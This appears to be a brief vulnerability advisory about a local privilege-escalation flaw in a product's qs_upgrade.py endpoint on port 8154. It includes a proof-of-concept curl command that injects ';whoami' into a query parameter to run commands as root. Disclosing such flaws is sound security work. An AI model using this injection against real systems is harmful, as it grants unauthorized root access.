Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami
Weakness
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
